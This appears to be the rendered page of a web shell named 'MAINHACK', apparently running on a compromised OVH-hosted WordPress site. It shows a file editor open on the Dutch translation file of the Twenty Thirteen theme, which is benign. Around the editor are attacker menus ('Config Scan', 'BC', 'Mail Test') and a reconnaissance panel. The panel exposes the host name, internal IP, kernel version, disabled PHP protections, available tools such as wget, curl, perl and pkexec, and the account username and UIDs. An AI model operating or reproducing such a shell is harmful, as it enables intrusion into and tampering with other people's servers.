[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: twentythirteen-nl_NL.po
# Translation of Themes - Twenty Thirteen in Dutch # This file is distributed under the same license as the Themes - Twenty Thirteen package. msgid "" msgstr "" "PO-Revision-Date: 2024-10-18 16:05:47+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.3\n" "Language: nl\n" "Project-Id-Version: Themes - Twenty Thirteen\n" #. Description of the theme #: style.css #, gp-priority: high msgid "The 2013 theme for WordPress takes us back to the blog, featuring a full range of post formats, each displayed beautifully in their own unique way. Design details abound, starting with a vibrant color scheme and matching header images, beautiful typography and icons, and a flexible layout that looks great on any device, big or small." msgstr "Het 2013 thema voor WordPress neemt ons terug naar de blog met alle bericht formats actief en elke bericht format wordt op een eigen unieke en prachtige manier getoond. Design details zijn er ten overvloed beginnend met een hoog contrastkleuren schema en bijpassende header afbeeldingen, prachtige typografie en pictogrammen verpakt in een flexibele lay-out die op elk apparaat fantastisch toont; groot of klein." #. Theme Name of the theme #: style.css inc/block-patterns.php:20 #, gp-priority: high msgid "Twenty Thirteen" msgstr "Twenty Thirteen" #: functions.php:198 msgid "Dark Sky" msgstr "Donkere hemel" #: functions.php:193 msgid "Light Sky" msgstr "Heldere hemel" #: functions.php:188 msgid "Sunset Yellow" msgstr "Zonsondergang geel" #: functions.php:183 msgid "Autumn Brown" msgstr "Herfstbruin" #. translators: 1: Date, 2: Date, 3, Parent permalink, 4, Post title, 5: Post #. title. #: image.php:30 msgid "Published on <time class=\"entry-date\" datetime=\"%1$s\">%2$s</time> in <a href=\"%3$s\" title=\"Go to %4$s\" rel=\"gallery\">%5$s</a>" msgstr "Gepubliceerd op <time class=\"entry-date\" datetime=\"%1$s\">%2$s</time> in <a href=\"%3$s\" title=\"Go to %4$s\" rel=\"gallery\">%5$s</a>" #: inc/block-patterns.php:162 msgid "Neil Armstrong<br>James Lovell Jr.<br>Dr. Sally Ride<br>Chris Hadfield" msgstr "Neil Armstrong<br>James Lovell Jr.<br>Dr. Sally Ride<br>Chris Hadfield" #: inc/block-patterns.php:156 msgid "Yuri Gagarin<br>Alan B. Shepard Jr.<br>Valentina Tereshkova<br>John Glenn Jr." msgstr "Yuri GagarinAlan<br>B. Shepard Jr.<br>Valentina TereshkovaJohn<br>Glenn Jr." #: inc/block-patterns.php:150 msgid "FAMOUS ASTRONAUTS" msgstr "BEROEMDE ASTRONAUTEN" #: inc/block-patterns.php:146 msgid "Informational List" msgstr "Informatieve lijst" #: inc/block-patterns.php:136 msgid "When you look at the stars and the galaxy, you feel that you are not just from any particular piece of land, but from the solar system." msgstr "Als je naar de sterren en het melkwegstelsel kijkt, voel je dat je niet alleen van een bepaald stukje land bent, maar van het zonnestelsel." #: inc/block-patterns.php:127 msgid "Big Quote" msgstr "Groot citaat" #: inc/block-patterns.php:116 inc/block-patterns.php:136 msgid "Kalpana Chawla" msgstr "Kalpana Chawla" #: inc/block-patterns.php:116 msgid "When you look at <br>the stars and the galaxy, you feel that you are not <br>just from any particular piece of land, but from the solar system." msgstr "Als je naar <br>de sterren en het melkwegstelsel kijkt, voel je dat je niet <br>alleen van een bepaald stukje land bent, maar van het zonnestelsel." #: inc/block-patterns.php:104 msgid "Callout Quote" msgstr "Oproep citaat" #: inc/block-patterns.php:92 msgid "Colonies" msgstr "Koloniën" #: inc/block-patterns.php:76 msgid "Space" msgstr "Ruimte" #: inc/block-patterns.php:75 inc/block-patterns.php:83 #: inc/block-patterns.php:91 msgid "Write title…" msgstr "Schrijf titel.." #: inc/block-patterns.php:70 msgid "Decorative Columns" msgstr "Decoratieve kolommen" #: inc/block-patterns.php:59 msgid "Discover More" msgstr "Ontdek meer" #: inc/block-patterns.php:54 msgid "In the 1970s, NASA's Ames Research Center illustrated some explorations around what future space colonies could look like. This piece, illustrated by Rick Guidice, shows the inside of a toroidal shaped colony." msgstr "In de jaren 1970 illustreerde NASA's Ames Research Center enkele verkenningen rond hoe toekomstige ruimtekolonies er uit zouden kunnen zien. Dit werk, geïllustreerd door Rick Guidice, toont de binnenkant van een toroïdaal gevormde kolonie." #: inc/block-patterns.php:50 msgid "Exploring Space" msgstr "De ruimte verkennen" #: inc/block-patterns.php:46 msgid "Informational Section" msgstr "Informatie sectie" #: inc/block-patterns.php:36 inc/block-patterns.php:132 msgid "NASA Space Colony illustration, cutaway view of Bernal Sphere. The interior of the sphere is filled with greenery and houses, and a star shines brightly behind the colony." msgstr "NASA Space Colony illustratie, uitsnede van de Bernal bol. Het interieur van de bol is gevuld met groen en huizen, en een ster schijnt helder achter de kolonie." #: inc/block-patterns.php:36 msgid "NASA Space Colony illustration, cutaway view, exposing the interior of a toroidal colony. Trees and densely-packed housing line the inside of the torus." msgstr "NASA Space Colony illustratie, uitsnede, die het interieur van een toroïdale kolonie blootlegt. Bomen en dicht opeengepakte woningen omzomen de binnenkant van de torus." #: inc/block-patterns.php:36 msgid "Solid orange square" msgstr "Effen oranje vierkant" #: inc/block-patterns.php:36 msgid "NASA Space Colony illustration, interior view of a cylindrical space colony, looking out through large windows. The interior contains fields, forests, and a river snaking from the foreground into the background. Low clouds hang over the land." msgstr "NASA Space Colony illustratie, binnenaanzicht van een cilindrische ruimtekolonie, naar buiten kijkend door grote ramen. Het interieur bevat velden, bossen, en een rivier die van de voorgrond naar de achtergrond kronkelt. Lage wolken hangen boven het land." #: inc/block-patterns.php:36 msgid "NASA Space Colony illustration, interior view of torus colony. Public spaces appear in the foreground of the torus, while housing, rolling hills, and a river snake up into the background." msgstr "NASA Space Colony illustratie, binnenaanzicht van toruskolonie. Openbare ruimten verschijnen op de voorgrond van de torus, terwijl woningen, glooiende heuvels, en een rivier naar de achtergrond slingeren." #: inc/block-patterns.php:36 msgid "Solid red square" msgstr "Effen rood vierkant" #: inc/block-patterns.php:32 msgid "Decorative Gallery" msgstr "Decoratieve galerij" #: functions.php:948 msgid "No Shadow" msgstr "Geen schaduw" #. translators: %s: The post title. #: comments.php:29 msgctxt "comments title" msgid "One thought on “%s”" msgstr "Eén reactie op “%s”" #: functions.php:171 msgid "Off-white" msgstr "Gebroken wit" #: functions.php:166 msgid "Beige" msgstr "Beige" #: functions.php:161 msgid "Light Brown" msgstr "Lichtbruin" #: functions.php:156 msgid "Medium Brown" msgstr "Midden bruin" #: functions.php:151 msgid "Dark Brown" msgstr "Donker bruin" #: functions.php:146 msgid "White" msgstr "Wit" #: functions.php:141 msgid "Yellow" msgstr "Geel" #: functions.php:136 msgid "Light Orange" msgstr "Lichtoranje" #: functions.php:131 msgid "Medium Orange" msgstr "Oranje" #: functions.php:126 msgid "Red" msgstr "Rood" #: functions.php:121 msgid "Dark Gray" msgstr "Donkergrijs" #. translators: %s: Post format name. #: taxonomy-post_format.php:26 msgid "%s Archives" msgstr "%s Archieven" #. translators: Tag title. #: tag.php:24 msgid "Tag Archives: %s" msgstr "Tag archieven: %s" #. translators: %s: Search query. #: search.php:21 msgid "Search Results for: %s" msgstr "Zoekresultaten voor: %s" #: inc/custom-header.php:60 msgctxt "header image description" msgid "Star" msgstr "Ster" #: inc/custom-header.php:55 msgctxt "header image description" msgid "Diamond" msgstr "Diamant" #: inc/custom-header.php:50 msgctxt "header image description" msgid "Circle" msgstr "Cirkel" #. translators: %s: WordPress version. #: inc/back-compat.php:41 inc/back-compat.php:56 inc/back-compat.php:77 msgid "Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again." msgstr "Twenty Thirteen vereist minimaal WordPress 3.6. De huidige installatie is versie %s. Werk de installatie bij en probeer opnieuw." #: image.php:64 msgid "Next <span class=\"meta-nav\">→</span>" msgstr "Volgende <span class=\"meta-nav\">→</span>" #: image.php:63 msgid "<span class=\"meta-nav\">←</span> Previous" msgstr "<span class=\"meta-nav\">←</span> Vorige" #: image.php:51 msgid "Full resolution" msgstr "Volledige resolutie" #: image.php:50 msgid "Link to full-size image" msgstr "Link naar afbeelding op ware grootte" #. translators: Hidden accessibility text. #: header.php:28 msgid "Skip to content" msgstr "Ga naar de inhoud" #: header.php:49 msgid "Menu" msgstr "Menu" #. translators: %s: Post title. #: functions.php:636 msgid "Permalink to %s" msgstr "Permalink naar %s" #. translators: 1: Post format name, 2: Date. #: functions.php:627 msgctxt "1: post format name. 2: date" msgid "%1$s on %2$s" msgstr "%1$s op %2$s" #. translators: %s: Author display name. #: functions.php:606 msgid "View all posts by %s" msgstr "Alle berichten tonen van %s" #. translators: Used between list items, there is a space after the comma. #: functions.php:480 msgid ", " msgstr ", " #: functions.php:583 msgid "Sticky" msgstr "Sticky" #: functions.php:565 msgctxt "Next post link" msgid "%title <span class=\"meta-nav\">→</span>" msgstr "%title <span class=\"meta-nav\">→</span>" #: functions.php:564 msgctxt "Previous post link" msgid "<span class=\"meta-nav\">←</span> %title" msgstr "<span class=\"meta-nav\">←</span> %title" #. translators: Hidden accessibility text. #: functions.php:559 msgid "Post navigation" msgstr "Berichtnavigatie" #: functions.php:501 msgid "Newer posts <span class=\"meta-nav\">→</span>" msgstr "Nieuwere berichten <span class=\"meta-nav\">→</span>" #: functions.php:502 msgid "<span class=\"meta-nav\">←</span> Older posts" msgstr "<span class=\"meta-nav\">←</span> Oudere berichten" #. translators: Hidden accessibility text. #: functions.php:512 msgid "Posts navigation" msgstr "Berichtennavigatie" #: functions.php:460 msgid "Appears on posts and pages in the sidebar." msgstr "Verschijnt bij berichten en pagina's in de zijbalk." #: functions.php:458 msgid "Secondary Widget Area" msgstr "Secundaire widget gebied" #: functions.php:448 msgid "Appears in the footer section of the site." msgstr "Verschijnt in het footer gedeelte van de site." #: functions.php:446 msgid "Main Widget Area" msgstr "Hoofd widget gebied" #. translators: %s: Page number. #: functions.php:431 msgid "Page %s" msgstr "Pagina %s" #. translators: If there are characters in your language that are not supported #. by Bitter, translate this to 'off'. Do not translate into your own language. #: functions.php:288 msgctxt "Bitter font: on or off" msgid "on" msgstr "on" #. translators: If there are characters in your language that are not supported #. by Source Sans Pro, translate this to 'off'. Do not translate into your own #. language. #: functions.php:282 msgctxt "Source Sans Pro font: on or off" msgid "on" msgstr "aan" #: functions.php:246 msgid "Navigation Menu" msgstr "Navigatiemenu" #. translators: %s: WordPress #: footer.php:34 msgid "Proudly powered by %s" msgstr "Ondersteund door %s" #: content-none.php:32 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "Het lijkt erop dat we niet kunnen vinden waar je naar zoekt. Misschien kun je er naar zoeken." #: content-none.php:27 msgid "Sorry, but nothing matched your search terms. Please try again with different keywords." msgstr "Er is niets gevonden dat overeenkomt met je zoektermen. Probeer het opnieuw met andere keywords." #. translators: %s: Post editor URL. #: content-none.php:21 msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>." msgstr "Klaar om je eerste bericht te publiceren? <a href=\"%s\">Start hier</a>." #: content-none.php:12 msgid "Nothing Found" msgstr "Niets gevonden" #: content-gallery.php:52 content-image.php:48 content-quote.php:38 #: content-video.php:48 content.php:65 msgid "View all % comments" msgstr "Alle % reacties bekijken" #: content-gallery.php:52 content-image.php:48 content-quote.php:38 #: content-video.php:48 content.php:65 msgid "One comment so far" msgstr "Een reactie tot dusver" #: content-gallery.php:52 content-image.php:48 content-quote.php:38 #: content-video.php:48 content.php:65 msgid "Leave a comment" msgstr "Een reactie plaatsen" #: content-aside.php:36 content-aside.php:44 content-audio.php:47 #: content-chat.php:45 content-gallery.php:55 content-image.php:51 #: content-link.php:19 content-quote.php:41 content-status.php:35 #: content-video.php:51 content.php:31 image.php:56 page.php:51 msgid "Edit" msgstr "Bewerken" #: content-aside.php:24 content-audio.php:35 content-chat.php:34 #: content-gallery.php:35 content-image.php:34 content-link.php:35 #: content-quote.php:24 content-status.php:24 content-video.php:34 #: content.php:52 image.php:85 page.php:41 msgid "Pages:" msgstr "Pagina's:" #. translators: %s: Post title. Only visible to screen readers. #: content-aside.php:17 content-audio.php:28 content-chat.php:27 #: content-gallery.php:28 content-image.php:27 content-link.php:28 #: content-quote.php:17 content-status.php:17 content-video.php:27 #: content.php:45 functions.php:750 msgid "Continue reading %s <span class=\"meta-nav\">→</span>" msgstr "Lees verder %s <span class=\"meta-nav\">→</span>" #: comments.php:72 msgid "Comments are closed." msgstr "Reacties zijn gesloten." #: comments.php:67 msgid "Newer Comments →" msgstr "Nieuwere reacties →" #: comments.php:66 msgid "← Older Comments" msgstr "← Oudere reacties" #. translators: Hidden accessibility text. #: comments.php:63 msgid "Comment navigation" msgstr "Reactie navigatie" #. translators: 1: The number of comments, 2: The post title. #: comments.php:35 msgctxt "comments title" msgid "%1$s thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "%1$s gedachte over “%2$s”" msgstr[1] "%1$s gedachten over “%2$s”" #. translators: %s: Category title. #: category.php:22 msgid "Category Archives: %s" msgstr "Categorie archieven: %s" #. translators: %s: Author display name. #: author.php:34 msgid "All posts by %s" msgstr "Alle berichten van %s" #. translators: %s: Author display name. #: author-bio.php:37 msgid "View all posts by %s <span class=\"meta-nav\">→</span>" msgstr "Bekijk alle berichten van %s <span class=\"meta-nav\">→</span>" #. translators: %s: Author display name. #: author-bio.php:29 msgid "About %s" msgstr "Over %s" #: archive.php:39 msgid "Archives" msgstr "Archieven" #. translators: %s: Date. #: archive.php:37 msgctxt "yearly archives date format" msgid "Y" msgstr "Y" #. translators: %s: Date. #: archive.php:37 msgid "Yearly Archives: %s" msgstr "Jaarlijkse archieven: %s" #. translators: %s: Date. #: archive.php:34 msgctxt "monthly archives date format" msgid "F Y" msgstr "F Y" #. translators: %s: Date. #: archive.php:34 msgid "Monthly Archives: %s" msgstr "Maandelijks archief: %s" #. translators: %s: Date. #: archive.php:31 msgid "Daily Archives: %s" msgstr "Dagelijkse archieven: %s" #: 404.php:22 msgid "It looks like nothing was found at this location. Maybe try a search?" msgstr "Het lijkt erop dat er niets gevonden is op deze locatie. Probeer het eens met een zoekopdracht?" #: 404.php:21 msgid "This is somewhat embarrassing, isn’t it?" msgstr "Beetje gênant, vind je niet?" #: 404.php:16 msgid "Not Found" msgstr "Niet gevonden" #. Author URI of the theme #: style.css footer.php:31 #, gp-priority: low msgid "https://wordpress.org/" msgstr "https://wordpress.org/" #. Author of the theme #: style.css #, gp-priority: low msgid "the WordPress team" msgstr "the WordPress team" #. Theme URI of the theme #: style.css #, gp-priority: low msgid "https://wordpress.org/themes/twentythirteen/" msgstr "https://wordpress.org/themes/twentythirteen/"
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697